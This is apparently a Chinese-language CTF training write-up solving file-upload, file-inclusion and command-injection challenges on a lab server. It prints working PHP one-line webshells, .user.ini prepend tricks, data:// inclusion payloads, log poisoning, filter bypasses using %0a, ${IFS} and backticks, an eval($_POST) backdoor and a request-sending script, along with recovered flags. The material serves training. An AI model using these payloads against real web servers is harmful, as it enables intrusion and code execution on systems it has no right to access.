CTF内部训练平台

发布于 2022-04-07  262 次阅读


文件上传1

将一句话木马写入文件后改为能通过的图片格式,点击上传,使用bp抓包修改后缀为php上传

image-20220403084311267

image-20220403084445503

根据上传后的路径,访问一句话木马,输入相关命令找到flag

image-20220403091816587

文件上传2

bp抓包修改后缀为php成功上传

image-20220403095429270

获取flag在使用cat的时候发现无法读取,考虑被过滤掉了,使用tac成功获取

image-20220403095719678

文件上传3

上传shell.php上传失败,错误信息为文件内容不合规,通过后缀名大小写绕过,解析绕过等多种方式未能成功上传,后来发现只有.user.ini未进行过滤。需要注意的是,在上传图片马的时候一句话木马的写法一定要为<? ... ?>否则会因为内容问题导致上传失败,经过测试上传目录下存在index.php

首先上传图片马

image-20220403153645061

上传user.ini

image-20220403153710178

访问index.php

image-20220403153738540

成功执行命令,获取flag

image-20220403153920470

文件上传4

上传图片马后上传.user.ini同文件上传3

auto_prepend_file=muma.jpg

image-20220404154602906

文件上传7

同文件上传4,但是这里的图片马中的一句话木马要写

<?=`tac ../fl*`?>

image-20220404162225503

FILE_INCLUDE-FILE1

http://81.70.245.6:50099/?file=data://text/plain,<?php system("tac /ffff/ctf/flag.php") ?>
得到flag
$flag="flag{d1e34478-a38c-4441-a69f-3ae0826ba7c9}"; 

FILE_INCLUDE-GUOLVPHP

http://81.70.245.6:50203/?file=data://text/plan,<?= system("tac /var/www/html/flag.php"); ?>
得到flag
$flag="flag{4895a3e9-22ff-4c23-b82f-cc988f7ce354}"; 

FILE_INCLUDE-GUOLVPHPDATA

image-20220404174536229

发现web服务器是ngix可以利用日志包含,使用bp写入一句话木马,在浏览器包含日志文件执行命令即可

image-20220404175249298

cmd=system("find / -name fla*");

image-20220404175737172

扫描未发现flag

FILE_INCLUDE-DATA

没有过滤data/

http://81.70.245.6:50155/?file=data://text/plain;base64,PD89c3lzdGVtKCJscyIpOw
发现 fl0g.php
http://81.70.245.6:50155/?file=data://text/plain;base64,PD9waHAgIHN5c3RlbSgidGFjICoiKTs/PmFh
$flag="flag{b4894b16-ead2-41e3-b7f4-30e2890cdec0}"; 

RCE演示

post传参:
cmd=system("tac /flag");
得到flag
flag{eec9aa96ef6b45e3fa53b6415f28ecee}

RCE-CAT

使用;分隔命令
http://81.70.245.6:50487/?ip=;tac /var/www/flag.php
得到flag
Array ( [0] => ?> [1] => [2] => // flag{f0f687fa2d8ecc909d287fe532831a61} [3] => 

运算符

http://81.70.245.6:50049/check.php?ip=;cat /var/www/flag.php
Array ( [0] => //flag{cd7679a356118ac19f472179e058664d} [2] => ?> ) 

RCE-命令注入

http://81.70.245.6:50400/check.php?ip=;cat /var/www/flag.php
Array ( [0] => //flag{d17dd9fe1626a700b73d49271e72a848} [2] => ?> ) 

目录分隔符

http://81.70.245.6:50349/check.php?ip=;cd flag_is_here;ls -ll;cat flag_187841542210631.php
得到flag
Array ( [0] => total 4 [1] => -rwxr-xr-x 1 root root 52 Sep 2 2021 flag_187841542210631.php [2] => // flag{6da591692173f5c9f33c9f4c205c636e} [4] => ?> )

命令执行-综合过滤

%0a绕过运算符和;
$IFS$9代替空格
通配符代替flag
使用``绕过cat关键字
http://81.70.245.6:50008/check.php?ip=%0als${IFS}-a%0acd${IFS}..%0als%0aca``t${IFS}fl*.php
Array ( [0] => . [1] => .. [2] => ._check.php [3] => check.php [4] => index.php [5] => flag.php [6] => html [7] => //flag{96a46b46d975c5a784ce0e952cdff669} [9] => ?> )

RCE-拼接

这里讲eval里边的内容变成小写

http://81.70.245.6:50257/?a=${@eval($_POST['cmd'])}
post:
cmd=system("find / -name flag*");
未能找到flag

image-20220405163303941

无回显RCE

将命令执行结果写入文件
http://81.70.245.6:50168/?c=find / -name fla*>2
发现flag所在位置
/var/www/flag_is_here_is_here

这里对命令的长度进行了限制,通过脚本写入带回显的一句话木马,解除长度限制

import requests

url = "http://81.70.245.6:50452/?c={0}"
print("[+]start attack!!!")
with open("D:\Work\School\安博网络安全\工具\脚本\payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))

print("[+]Attack defeated!!!")

image-20220406182124032

成功执行

获取flag
http://81.70.245.6:50452/1.php?1=system("ls /var/www/flag_is_here_is_here");
得到flag
key-jdladicndiennnsldjlshldsjd.php
Daniel_WRF
最后更新于 2023-09-22